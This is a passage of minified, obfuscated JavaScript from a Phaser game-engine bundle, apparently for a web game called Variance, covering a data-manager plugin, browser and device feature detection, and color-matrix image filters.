_0x42ada9, _0x5a3117) => { var _0x2b61bd = _0x5a3117(0x145db), _0x41053d = _0x5a3117(0xb345), _0x1115de = _0x5a3117(0x919d), _0xa14071 = _0x5a3117(0xae32), _0x199492 = new _0x2b61bd({ 'Extends': _0x41053d, 'initialize': function (_0x5321e2) { _0x41053d['call'](this, _0x5321e2, _0x5321e2['sys']['events']), this['scene'] = _0x5321e2, this['systems'] = _0x5321e2['sys'], _0x5321e2['sys']['events']['once'](_0xa14071['BOOT'], this['boot'], this), _0x5321e2['sys']['events']['on'](_0xa14071['START'], this['start'], this); }, 'boot': function () { this['events'] = this['systems']['events'], this['events']['once'](_0xa14071['DESTROY'], this['destroy'], this); }, 'start': function () { this['events']['once'](_0xa14071['SHUTDOWN'], this['shutdown'], this); }, 'shutdown': function () { this['systems']['events']['off'](_0xa14071['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { _0x41053d['prototype']['destroy']['call'](this), this['events']['off'](_0xa14071['START'], this['start'], this), this['scene'] = null, this['systems'] = null; } }); _0x1115de['register']('DataManagerPlugin', _0x199492, 'data'), _0xce4f54['exports'] = _0x199492; }, 0x29cc: _0xd9c213 => { _0xd9c213['exports'] = 'changedata'; }, 0x16da8: _0xe7665b => { _0xe7665b['exports'] = 'changedata-'; }, 0xedd3: _0x3d785e => { _0x3d785e['exports'] = 'destroy'; }, 0x11094: _0x170bb9 => { _0x170bb9['exports'] = 'removedata'; }, 0x5696: _0x439504 => { _0x439504['exports'] = 'setdata'; }, 0x6132: (_0x3cc640, _0x38eb9b, _0x1080f7) => { _0x3cc640['exports'] = { 'CHANGE_DATA': _0x1080f7(0x29cc), 'CHANGE_DATA_KEY': _0x1080f7(0x16da8), 'DESTROY': _0x1080f7(0xedd3), 'REMOVE_DATA': _0x1080f7(0x11094), 'SET_DATA': _0x1080f7(0x5696) }; }, 0xafa5: (_0x585517, _0x46291f, _0x1c30f7) => { _0x585517['exports'] = { 'DataManager': _0x1c30f7(0xb345), 'DataManagerPlugin': _0x1c30f7(0xf89e), 'Events': _0x1c30f7(0x6132) }; }, 0x1bba: (_0xd2cb88, _0x4c8c07, _0x299428) => { var _0x4eb58c = _0x299428(0x148b4), _0x1c09a9 = { 'flac': !0x1, 'aac': !0x1, 'audioData': !0x1, 'dolby': !0x1, 'm4a': !0x1, 'mp3': !0x1, 'ogg': !0x1, 'opus': !0x1, 'wav': !0x1, 'webAudio': !0x1, 'webm': !0x1 }; _0xd2cb88['exports'] = (function () { if ('function' == typeof importScripts) return _0x1c09a9; _0x1c09a9['audioData'] = !!window['Audio'], _0x1c09a9['webAudio'] = !(!window['AudioContext'] && !window['webkitAudioContext']); var _0x37e908 = document['createElement']('audio'), _0xd45156 = !!_0x37e908['canPlayType']; try { if (_0xd45156) { var _0x1568b0 = function (_0x4072df, _0x48c569) { var _0x123f98 = _0x37e908['canPlayType']('audio/' + _0x4072df)['replace'](/^no$/, ''); return _0x48c569 ? Boolean(_0x123f98 || _0x37e908['canPlayType']('audio/' + _0x48c569)['replace'](/^no$/, '')) : Boolean(_0x123f98); }; if (_0x1c09a9['ogg'] = _0x1568b0('ogg;\x20codecs=\x22vorbis\x22'), _0x1c09a9['opus'] = _0x1568b0('ogg;\x20codecs=\x22opus\x22', 'opus'), _0x1c09a9['mp3'] = _0x1568b0('mpeg'), _0x1c09a9['wav'] = _0x1568b0('wav'), _0x1c09a9['m4a'] = _0x1568b0('x-m4a'), _0x1c09a9['aac'] = _0x1568b0('aac'), _0x1c09a9['flac'] = _0x1568b0('flac', 'x-flac'), _0x1c09a9['webm'] = _0x1568b0('webm;\x20codecs=\x22vorbis\x22'), '' !== _0x37e908['canPlayType']('audio/mp4;\x20codecs=\x22ec-3\x22')) { if (_0x4eb58c['edge']) _0x1c09a9['dolby'] = !0x0; else { if (_0x4eb58c['safari'] && _0x4eb58c['safariVersion'] >= 0x9 && /Mac OS X (\d+)_(\d+)/['test'](navigator['userAgent'])) { var _0x5f357c = parseInt(RegExp['$1'], 0xa), _0x5a5d60 = parseInt(RegExp['$2'], 0xa); (0xa === _0x5f357c && _0x5a5d60 >= 0xb || _0x5f357c > 0xa) && (_0x1c09a9['dolby'] = !0x0); } } } } } catch (_0x508133) { } return _0x1c09a9; }()); }, 0x148b4: (_0x56920d, _0x2ae4c4, _0x286f9b) => { var _0x474f38, _0xa2d636 = _0x286f9b(0x6524), _0x3964a7 = { 'chrome': !0x1, 'chromeVersion': 0x0, 'edge': !0x1, 'firefox': !0x1, 'firefoxVersion': 0x0, 'ie': !0x1, 'ieVersion': 0x0, 'mobileSafari': !0x1, 'opera': !0x1, 'safari': !0x1, 'safariVersion': 0x0, 'silk': !0x1, 'trident': !0x1, 'tridentVersion': 0x0, 'es2019': !0x1 }; _0x56920d['exports'] = (_0x474f38 = navigator['userAgent'], /Edg\/\d+/['test'](_0x474f38) ? (_0x3964a7['edge'] = !0x0, _0x3964a7['es2019'] = !0x0) : /OPR/['test'](_0x474f38) ? (_0x3964a7['opera'] = !0x0, _0x3964a7['es2019'] = !0x0) : /Chrome\/(\d+)/['test'](_0x474f38) && !_0xa2d636['windowsPhone'] ? (_0x3964a7['chrome'] = !0x0, _0x3964a7['chromeVersion'] = parseInt(RegExp['$1'], 0xa), _0x3964a7['es2019'] = _0x3964a7['chromeVersion'] > 0x45) : /Firefox\D+(\d+)/['test'](_0x474f38) ? (_0x3964a7['firefox'] = !0x0, _0x3964a7['firefoxVersion'] = parseInt(RegExp['$1'], 0xa), _0x3964a7['es2019'] = _0x3964a7['firefoxVersion'] > 0xa) : /AppleWebKit\/(?!.*CriOS)/['test'](_0x474f38) && _0xa2d636['iOS'] ? (_0x3964a7['mobileSafari'] = !0x0, _0x3964a7['es2019'] = !0x0) : /MSIE (\d+\.\d+);/['test'](_0x474f38) ? (_0x3964a7['ie'] = !0x0, _0x3964a7['ieVersion'] = parseInt(RegExp['$1'], 0xa)) : /Version\/(\d+\.\d+(\.\d+)?) Safari/['test'](_0x474f38) && !_0xa2d636['windowsPhone'] ? (_0x3964a7['safari'] = !0x0, _0x3964a7['safariVersion'] = parseInt(RegExp['$1'], 0xa), _0x3964a7['es2019'] = _0x3964a7['safariVersion'] > 0xa) : /Trident\/(\d+\.\d+)(.*)rv:(\d+\.\d+)/['test'](_0x474f38) && (_0x3964a7['ie'] = !0x0, _0x3964a7['trident'] = !0x0, _0x3964a7['tridentVersion'] = parseInt(RegExp['$1'], 0xa), _0x3964a7['ieVersion'] = parseInt(RegExp['$3'], 0xa)), /Silk/['test'](_0x474f38) && (_0x3964a7['silk'] = !0x0), _0x3964a7); }, 0x15cc9: (_0x174726, _0x3ca8e6, _0x2e388a) => { var _0xd04697, _0x2affa8, _0x4b5619, _0xc033fc = _0x2e388a(0x6d0f), _0x1542c8 = { 'supportInverseAlpha': !0x1, 'supportNewBlendModes': !0x1 }; _0x174726['exports'] = ('function' != typeof importScripts && void 0x0 !== document && (_0x1542c8['supportNewBlendModes'] = (_0xd04697 = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAABAQMAAADD8p2OAAAAA1BMVEX/', _0x2affa8 = 'AAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJggg==', (_0x4b5619 = new Image())['onload'] = function () { var _0x55fce4 = new Image(); _0x55fce4['onload'] = function () { var _0x5ab9d6 = _0xc033fc['create2D'](_0x55fce4, 0x6)['getContext']('2d', { 'willReadFrequently': !0x0 }); if (_0x5ab9d6['globalCompositeOperation'] = 'multiply', _0x5ab9d6['drawImage'](_0x4b5619, 0x0, 0x0), _0x5ab9d6['drawImage'](_0x55fce4, 0x2, 0x0), !_0x5ab9d6['getImageData'](0x2, 0x0, 0x1, 0x1)) return !0x1; var _0x3e459f = _0x5ab9d6['getImageData'](0x2, 0x0, 0x1, 0x1)['data']; _0xc033fc['remove'](_0x55fce4), _0x1542c8['supportNewBlendModes'] = 0xff === _0x3e459f[0x0] && 0x0 === _0x3e459f[0x1] && 0x0 === _0x3e459f[0x2]; }, _0x55fce4['src'] = _0xd04697 + '/wCKxvRF' + _0x2affa8; }, _0x4b5619['src'] = _0xd04697 + 'AP804Oa6' + _0x2affa8, !0x1), _0x1542c8['supportInverseAlpha'] = (function () { var _0x49bf5e = _0xc033fc['create2D'](this, 0x2)['getContext']('2d', { 'willReadFrequently': !0x0 }); _0x49bf5e['fillStyle'] = 'rgba(10,\x2020,\x2030,\x200.5)', _0x49bf5e['fillRect'](0x0, 0x0, 0x1, 0x1); var _0x1f9367 = _0x49bf5e['getImageData'](0x0, 0x0, 0x1, 0x1); if (null === _0x1f9367) return !0x1; _0x49bf5e['putImageData'](_0x1f9367, 0x1, 0x0); var _0x504dd3 = _0x49bf5e['getImageData'](0x1, 0x0, 0x1, 0x1), _0x2a44c1 = _0x504dd3['data'][0x0] === _0x1f9367['data'][0x0] && _0x504dd3['data'][0x1] === _0x1f9367['data'][0x1] && _0x504dd3['data'][0x2] === _0x1f9367['data'][0x2] && _0x504dd3['data'][0x3] === _0x1f9367['data'][0x3]; return _0xc033fc['remove'](this), _0x2a44c1; }())), _0x1542c8); }, 0x15d0d: (_0x5cc8e7, _0x6ac064, _0x225db0) => { var _0x24cc6f = _0x225db0(0x6524), _0xae083d = _0x225db0(0x148b4), _0x32bfd4 = _0x225db0(0x6d0f), _0x487a55 = { 'canvas': !0x1, 'canvasBitBltShift': null, 'file': !0x1, 'fileSystem': !0x1, 'getUserMedia': !0x0, 'littleEndian': !0x1, 'localStorage': !0x1, 'pointerLock': !0x1, 'stableSort': !0x1, 'support32bit': !0x1, 'vibration': !0x1, 'webGL': !0x1, 'worker': !0x1 }; _0x5cc8e7['exports'] = (function () { if ('function' == typeof importScripts) return _0x487a55; _0x487a55['canvas'] = !!window['CanvasRenderingContext2D']; try { _0x487a55['localStorage'] = !!localStorage['getItem']; } catch (_0xe6c728) { _0x487a55['localStorage'] = !0x1; } _0x487a55['file'] = !!(window['File'] && window['FileReader'] && window['FileList'] && window['Blob']), _0x487a55['fileSystem'] = !!window['requestFileSystem']; var _0x487919, _0xbee41e, _0x4aa0e9, _0x293017 = !0x1; return _0x487a55['webGL'] = (function () { if (window['WebGLRenderingContext']) try { var _0x2c4297 = _0x32bfd4['createWebGL'](this), _0x330b25 = _0x2c4297['getContext']('webgl') || _0x2c4297['getContext']('experimental-webgl'), _0x11083c = _0x32bfd4['create2D'](this), _0x5e7f3d = _0x11083c['getContext']('2d', { 'willReadFrequently': !0x0 })['createImageData'](0x1, 0x1); return _0x293017 = _0x5e7f3d['data'] instanceof Uint8ClampedArray, _0x32bfd4['remove'](_0x2c4297), _0x32bfd4['remove'](_0x11083c), !!_0x330b25; } catch (_0x1d6582) { return !0x1; } return !0x1; }()), _0x487a55['worker'] = !!window['Worker'], _0x487a55['pointerLock'] = 'pointerLockElement' in document || 'mozPointerLockElement' in document || 'webkitPointerLockElement' in document, navigator['getUserMedia'] = navigator['getUserMedia'] || navigator['webkitGetUserMedia'] || navigator['mozGetUserMedia'] || navigator['msGetUserMedia'] || navigator['oGetUserMedia'], window['URL'] = window['URL'] || window['webkitURL'] || window['mozURL'] || window['msURL'], _0x487a55['getUserMedia'] = _0x487a55['getUserMedia'] && !!navigator['getUserMedia'] && !!window['URL'], _0xae083d['firefox'] && _0xae083d['firefoxVersion'] < 0x15 && (_0x487a55['getUserMedia'] = !0x1), !_0x24cc6f['iOS'] && (_0xae083d['ie'] || _0xae083d['firefox'] || _0xae083d['chrome']) && (_0x487a55['canvasBitBltShift'] = !0x0), (_0xae083d['safari'] || _0xae083d['mobileSafari']) && (_0x487a55['canvasBitBltShift'] = !0x1), navigator['vibrate'] = navigator['vibrate'] || navigator['webkitVibrate'] || navigator['mozVibrate'] || navigator['msVibrate'], navigator['vibrate'] && (_0x487a55['vibration'] = !0x0), 'undefined' != typeof ArrayBuffer && 'undefined' != typeof Uint8Array && 'undefined' != typeof Uint32Array && (_0x487a55['littleEndian'] = (_0x487919 = new ArrayBuffer(0x4), _0xbee41e = new Uint8Array(_0x487919), _0x4aa0e9 = new Uint32Array(_0x487919), _0xbee41e[0x0] = 0xa1, _0xbee41e[0x1] = 0xb2, _0xbee41e[0x2] = 0xc3, _0xbee41e[0x3] = 0xd4, 0xd4c3b2a1 === _0x4aa0e9[0x0] || 0xa1b2c3d4 !== _0x4aa0e9[0x0] && null)), _0x487a55['support32bit'] = 'undefined' != typeof ArrayBuffer && 'undefined' != typeof Uint8ClampedArray && 'undefined' != typeof Int32Array && null !== _0x487a55['littleEndian'] && _0x293017, _0x487a55; }()); }, 0x165f7: _0x437ab3 => { var _0x122391 = { 'available': !0x1, 'cancel': '', 'keyboard': !0x1, 'request': '' }; _0x437ab3['exports'] = (function () { if ('function' == typeof importScripts) return _0x122391; var _0x30a84d, _0xcbb5bf = 'Fullscreen', _0xa7aba3 = 'FullScreen', _0x2dffef = ['request' + _0xcbb5bf, 'request' + _0xa7aba3, 'webkitRequest' + _0xcbb5bf, 'webkitRequest' + _0xa7aba3, 'msRequest' + _0xcbb5bf, 'msRequest' + _0xa7aba3, 'mozRequest' + _0xa7aba3, 'mozRequest' + _0xcbb5bf]; for (_0x30a84d = 0x0; _0x30a84d < _0x2dffef['length']; _0x30a84d++)if (document['documentElement'][_0x2dffef[_0x30a84d]]) { _0x122391['available'] = !0x0, _0x122391['request'] = _0x2dffef[_0x30a84d]; break; } var _0x1b4e69 = ['cancel' + _0xa7aba3, 'exit' + _0xcbb5bf, 'webkitCancel' + _0xa7aba3, 'webkitExit' + _0xcbb5bf, 'msCancel' + _0xa7aba3, 'msExit' + _0xcbb5bf, 'mozCancel' + _0xa7aba3, 'mozExit' + _0xcbb5bf]; if (_0x122391['available']) { for (_0x30a84d = 0x0; _0x30a84d < _0x1b4e69['length']; _0x30a84d++)if (document[_0x1b4e69[_0x30a84d]]) { _0x122391['cancel'] = _0x1b4e69[_0x30a84d]; break; } } return window['Element'] && Element['ALLOW_KEYBOARD_INPUT'] && !/ Version\/5\.1(?:\.\d+)? Safari\//['test'](navigator['userAgent']) && (_0x122391['keyboard'] = !0x0), Object['defineProperty'](_0x122391, 'active', { 'get': function () { return !!(document['fullscreenElement'] || document['webkitFullscreenElement'] || document['mozFullScreenElement'] || document['msFullscreenElement']); } }), _0x122391; }()); }, 0x7c28: (_0x52c64b, _0x2d8415, _0x3ff6e2) => { var _0x5c762a = _0x3ff6e2(0x148b4), _0x1629fd = { 'gamepads': !0x1, 'mspointer': !0x1, 'touch': !0x1, 'wheelEvent': null }; _0x52c64b['exports'] = ('function' == typeof importScripts || (('ontouchstart' in document['documentElement'] || navigator['maxTouchPoints'] && navigator['maxTouchPoints'] >= 0x1) && (_0x1629fd['touch'] = !0x0), (navigator['msPointerEnabled'] || navigator['pointerEnabled']) && (_0x1629fd['mspointer'] = !0x0), navigator['getGamepads'] && (_0x1629fd['gamepads'] = !0x0), 'onwheel' in window || _0x5c762a['ie'] && 'WheelEvent' in window ? _0x1629fd['wheelEvent'] = 'wheel' : 'onmousewheel' in window ? _0x1629fd['wheelEvent'] = 'mousewheel' : _0x5c762a['firefox'] && 'MouseScrollEvent' in window && (_0x1629fd['wheelEvent'] = 'DOMMouseScroll')), _0x1629fd); }, 0x6524: _0x86569b => { var _0xa9cbd7 = { 'android': !0x1, 'chromeOS': !0x1, 'cordova': !0x1, 'crosswalk': !0x1, 'desktop': !0x1, 'ejecta': !0x1, 'electron': !0x1, 'iOS': !0x1, 'iOSVersion': 0x0, 'iPad': !0x1, 'iPhone': !0x1, 'kindle': !0x1, 'linux': !0x1, 'macOS': !0x1, 'node': !0x1, 'nodeWebkit': !0x1, 'pixelRatio': 0x1, 'webApp': !0x1, 'windows': !0x1, 'windowsPhone': !0x1 }; _0x86569b['exports'] = (function () { if ('function' == typeof importScripts) return _0xa9cbd7; var _0x57962b = navigator['userAgent']; /Windows/['test'](_0x57962b) ? _0xa9cbd7['windows'] = !0x0 : /Mac OS/['test'](_0x57962b) && !/like Mac OS/['test'](_0x57962b) ? navigator['maxTouchPoints'] && navigator['maxTouchPoints'] > 0x2 ? (_0xa9cbd7['iOS'] = !0x0, _0xa9cbd7['iPad'] = !0x0, navigator['appVersion']['match'](/Version\/(\d+)/), _0xa9cbd7['iOSVersion'] = parseInt(RegExp['$1'], 0xa)) : _0xa9cbd7['macOS'] = !0x0 : /Android/['test'](_0x57962b) ? _0xa9cbd7['android'] = !0x0 : /Linux/['test'](_0x57962b) ? _0xa9cbd7['linux'] = !0x0 : /iP[ao]d|iPhone/i['test'](_0x57962b) ? (_0xa9cbd7['iOS'] = !0x0, navigator['appVersion']['match'](/OS (\d+)/), _0xa9cbd7['iOSVersion'] = parseInt(RegExp['$1'], 0xa), _0xa9cbd7['iPhone'] = -0x1 !== _0x57962b['toLowerCase']()['indexOf']('iphone'), _0xa9cbd7['iPad'] = -0x1 !== _0x57962b['toLowerCase']()['indexOf']('ipad')) : /Kindle/['test'](_0x57962b) || /\bKF[A-Z][A-Z]+/['test'](_0x57962b) || /Silk.*Mobile Safari/['test'](_0x57962b) ? _0xa9cbd7['kindle'] = !0x0 : /CrOS/['test'](_0x57962b) && (_0xa9cbd7['chromeOS'] = !0x0), (/Windows Phone/i['test'](_0x57962b) || /IEMobile/i['test'](_0x57962b)) && (_0xa9cbd7['android'] = !0x1, _0xa9cbd7['iOS'] = !0x1, _0xa9cbd7['macOS'] = !0x1, _0xa9cbd7['windows'] = !0x0, _0xa9cbd7['windowsPhone'] = !0x0); var _0x3a3de1 = /Silk/['test'](_0x57962b); return (_0xa9cbd7['windows'] || _0xa9cbd7['macOS'] || _0xa9cbd7['linux'] && !_0x3a3de1 || _0xa9cbd7['chromeOS']) && (_0xa9cbd7['desktop'] = !0x0), (_0xa9cbd7['windowsPhone'] || /Windows NT/i['test'](_0x57962b) && /Touch/i['test'](_0x57962b)) && (_0xa9cbd7['desktop'] = !0x1), navigator['standalone'] && (_0xa9cbd7['webApp'] = !0x0), 'function' != typeof importScripts && (void 0x0 !== window['cordova'] && (_0xa9cbd7['cordova'] = !0x0), void 0x0 !== window['ejecta'] && (_0xa9cbd7['ejecta'] = !0x0)), { 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions'] && { 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions']['node'] && (_0xa9cbd7['node'] = !0x0), _0xa9cbd7['node'] && 'object' == typeof { 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions'] && (_0xa9cbd7['nodeWebkit'] = !!{ 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions']['node-webkit'], _0xa9cbd7['electron'] = !!{ 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions']['electron']), /Crosswalk/['test'](_0x57962b) && (_0xa9cbd7['crosswalk'] = !0x0), _0xa9cbd7['pixelRatio'] = window['devicePixelRatio'] || 0x1, _0xa9cbd7; }()); }, 0xa903: (_0x5c1a84, _0x543e1d, _0xe8d998) => { var _0x34be2c = _0xe8d998(0x17534), _0x5d0a2a = { 'h264': !0x1, 'hls': !0x1, 'mp4': !0x1, 'm4v': !0x1, 'ogg': !0x1, 'vp9': !0x1, 'webm': !0x1, 'hasRequestVideoFrame': !0x1 }; _0x5c1a84['exports'] = (function () { if ('function' == typeof importScripts) return _0x5d0a2a; var _0x120222 = document['createElement']('video'), _0x22b361 = !!_0x120222['canPlayType'], _0x560b95 = /^no$/; try { _0x22b361 && (_0x120222['canPlayType']('video/ogg;\x20codecs=\x22theora\x22')['replace'](_0x560b95, '') && (_0x5d0a2a['ogg'] = !0x0), _0x120222['canPlayType']('video/mp4;\x20codecs=\x22avc1.42E01E\x22')['replace'](_0x560b95, '') && (_0x5d0a2a['h264'] = !0x0, _0x5d0a2a['mp4'] = !0x0), _0x120222['canPlayType']('video/x-m4v')['replace'](_0x560b95, '') && (_0x5d0a2a['m4v'] = !0x0), _0x120222['canPlayType']('video/webm;\x20codecs=\x22vp8,\x20vorbis\x22')['replace'](_0x560b95, '') && (_0x5d0a2a['webm'] = !0x0), _0x120222['canPlayType']('video/webm;\x20codecs=\x22vp9\x22')['replace'](_0x560b95, '') && (_0x5d0a2a['vp9'] = !0x0), _0x120222['canPlayType']('application/x-mpegURL;\x20codecs=\x22avc1.42E01E\x22')['replace'](_0x560b95, '') && (_0x5d0a2a['hls'] = !0x0)); } catch (_0x15c30a) { } return _0x120222['parentNode'] && _0x120222['parentNode']['removeChild'](_0x120222), _0x5d0a2a['getVideoURL'] = function (_0x211c19) { Array['isArray'](_0x211c19) || (_0x211c19 = [_0x211c19]); for (var _0x167ff0 = 0x0; _0x167ff0 < _0x211c19['length']; _0x167ff0++) { var _0x3a0cea, _0x1bfdf7 = _0x34be2c(_0x211c19[_0x167ff0], 'url', _0x211c19[_0x167ff0]); if (0x0 === _0x1bfdf7['indexOf']('blob:')) return { 'url': _0x1bfdf7, 'type': '' }; if (_0x3a0cea = 0x0 === _0x1bfdf7['indexOf']('data:') ? _0x1bfdf7['split'](',')[0x0]['match'](/\/(.*?);/) : _0x1bfdf7['match'](/\.([a-zA-Z0-9]+)($|\?)/), _0x3a0cea = _0x34be2c(_0x211c19[_0x167ff0], 'type', _0x3a0cea ? _0x3a0cea[0x1] : '')['toLowerCase'](), _0x5d0a2a[_0x3a0cea]) return { 'url': _0x1bfdf7, 'type': _0x3a0cea }; } return null; }, _0x5d0a2a; }()); }, 0x14158: (_0x5647a4, _0x408b85, _0x35e95e) => { _0x5647a4['exports'] = { 'os': _0x35e95e(0x6524), 'browser': _0x35e95e(0x148b4), 'features': _0x35e95e(0x15d0d), 'input': _0x35e95e(0x7c28), 'audio': _0x35e95e(0x1bba), 'video': _0x35e95e(0xa903), 'fullscreen': _0x35e95e(0x165f7), 'canvasFeatures': _0x35e95e(0x15cc9) }; }, 0x15d4e: (_0x32eadb, _0x1bfb59, _0x434e48) => { var _0x3d2b79 = _0x434e48(0x145db), _0x4db331 = new Float32Array(0x14), _0x39c155 = new _0x3d2b79({ 'initialize': function () { this['_matrix'] = new Float32Array(0x14), this['alpha'] = 0x1, this['_dirty'] = !0x0, this['_data'] = new Float32Array(0x14), this['reset'](); }, 'set': function (_0xf5c2a7) { return this['_matrix']['set'](_0xf5c2a7), this['_dirty'] = !0x0, this; }, 'reset': function () { var _0x114de2 = this['_matrix']; return _0x114de2['fill'](0x0), _0x114de2[0x0] = 0x1, _0x114de2[0x6] = 0x1, _0x114de2[0xc] = 0x1, _0x114de2[0x12] = 0x1, this['alpha'] = 0x1, this['_dirty'] = !0x0, this; }, 'getData': function () { var _0x40e8a2 = this['_data']; return this['_dirty'] && (_0x40e8a2['set'](this['_matrix']), _0x40e8a2[0x4] /= 0xff, _0x40e8a2[0x9] /= 0xff, _0x40e8a2[0xe] /= 0xff, _0x40e8a2[0x13] /= 0xff, this['_dirty'] = !0x1), _0x40e8a2; }, 'brightness': function (_0x34c3b9, _0x94f8b0) { void 0x0 === _0x34c3b9 && (_0x34c3b9 = 0x0), void 0x0 === _0x94f8b0 && (_0x94f8b0 = !0x1); var _0x23c8cb = _0x34c3b9; return this['multiply']([_0x23c8cb, 0x0, 0x0, 0x0, 0x0, 0x0, _0x23c8cb, 0x0, 0x0, 0x0, 0x0, 0x0, _0x23c8cb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x94f8b0); }, 'saturate': function (_0x2ea45b, _0x55aa18) { void 0x0 === _0x2ea45b && (_0x2ea45b = 0x0), void 0x0 === _0x55aa18 && (_0x55aa18 = !0x1); var _0x7f458 = 0x2 * _0x2ea45b / 0x3 + 0x1, _0x5ddf5b = -0.5 * (_0x7f458 - 0x1); return this['multiply']([_0x7f458, _0x5ddf5b, _0x5ddf5b, 0x0, 0x0, _0x5ddf5b, _0x7f458, _0x5ddf5b, 0x0, 0x0, _0x5ddf5b, _0x5ddf5b, _0x7f458, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x55aa18); }, 'desaturate': function (_0x5b694a) { return void 0x0 === _0x5b694a && (_0x5b694a = !0x1), this['saturate'](-0x1, _0x5b694a); }, 'hue': function (_0x1d605d, _0x4b64da) { void 0x0 === _0x1d605d && (_0x1d605d = 0x0), void 0x0 === _0x4b64da && (_0x4b64da = !0x1), _0x1d605d = _0x1d605d / 0xb4 * Math['PI']; var _0x5e11b6 = Math['cos'](_0x1d605d), _0x17deff = Math['sin'](_0x1d605d), _0x4a57a6 = 0.213, _0x2032cc = 0.715, _0x301689 = 0.072; return this['multiply']([_0x4a57a6 + 0.787 * _0x5e11b6 + _0x17deff * -_0x4a57a6, _0x2032cc + _0x5e11b6 * -_0x2032cc + _0x17deff * -_0x2032cc, _0x301689 + _0x5e11b6 * -_0x301689 + 0.928 * _0x17deff, 0x0, 0x0, _0x4a57a6 + _0x5e11b6 * -_0x4a57a6 + 0.143 * _0x17deff, _0x2032cc + _0x5e11b6 * (0x1 - _0x2032cc) + 0.14 * _0x17deff, _0x301689 + _0x5e11b6 * -_0x301689 + -0.283 * _0x17deff, 0x0, 0x0, _0x4a57a6 + _0x5e11b6 * -_0x4a57a6 + -0.787 * _0x17deff, _0x2032cc + _0x5e11b6 * -_0x2032cc + _0x17deff * _0x2032cc, _0x301689 + 0.928 * _0x5e11b6 + _0x17deff * _0x301689, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x4b64da); }, 'grayscale': function (_0x3c7766, _0x26b7de) { return void 0x0 === _0x3c7766 && (_0x3c7766 = 0x1), void 0x0 === _0x26b7de && (_0x26b7de = !0x1), this['saturate'](-_0x3c7766, _0x26b7de); }, 'blackWhite': function (_0x5d35d6) { return void 0x0 === _0x5d35d6 && (_0x5d35d6 = !0x1), this['multiply'](_0x39c155['BLACK_WHITE'], _0x5d35d6); }, 'contrast': function (_0x15c1b1, _0x227606) { void 0x0 === _0x15c1b1 && (_0x15c1b1 = 0x0), void 0x0 === _0x227606 && (_0x227606 = !0x1); var _0x44327b = _0x15c1b1 + 0x1, _0x3b1f4a = -0.5 * (_0x44327b - 0x1); return this['multiply']([_0x44327b, 0x0, 0x0, 0x0, _0x3b1f4a, 0x0, _0x44327b, 0x0, 0x0, _0x3b1f4a, 0x0, 0x0, _0x44327b, 0x0, _0x3b1f4a, 0x0, 0x0, 0x0, 0x1, 0x0], _0x227606); }, 'negative': function (_0x5ce449) { return void 0x0 === _0x5ce449 && (_0x5ce449 = !0x1), this['multiply'](_0x39c155['NEGATIVE'], _0x5ce449); }, 'desaturateLuminance': function (_0x4fe71d) { return void 0x0 === _0x4fe71d && (_0x4fe71d = !0x1), this['multiply'](_0x39c155['DESATURATE_LUMINANCE'], _0x4fe71d); }, 'sepia': function (_0xc3b022) { return void 0x0 === _0xc3b022 && (_0xc3b022 = !0x1), this['multiply'](_0x39c155['SEPIA'], _0xc3b022); }, 'night': function (_0x4382cf, _0x1d83ab) { return void 0x0 === _0x4382cf && (_0x4382cf = 0.1), void 0x0 === _0x1d83ab && (_0x1d83ab = !0x1), this['multiply']([-0x2 * _0x4382cf, -_0x4382cf, 0x0, 0x0, 0x0, -_0x4382cf, 0x0, _0x4382cf, 0x0, 0x0, 0x0, _0x4382cf, 0x2 * _0x4382cf, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x1d83ab); }, 'lsd': function (_0x1d2bd0) { return void 0x0 === _0x1d2bd0 && (_0x1d2bd0 = !0x1), this['multiply'](_0x39c155['LSD'], _0x1d2bd0); }, 'brown': function (_0x45907e) { return void 0x0 === _0x45907e && (_0x45907e = !0x1), this['multiply'](_0x39c155['BROWN'], _0x45907e); }, 'vintagePinhole': function (_0x344f4c) { return void 0x0 === _0x344f4c && (_0x344f4c = !0x1), this['multiply'](_0x39c155['VINTAGE'], _0x344f4c); }, 'kodachrome': function (_0xe2829a) { return void 0x0 === _0xe2829a && (_0xe2829a = !0x1), this['multiply'](_0x39c155['KODACHROME'], _0xe2829a); }, 'technicolor': function 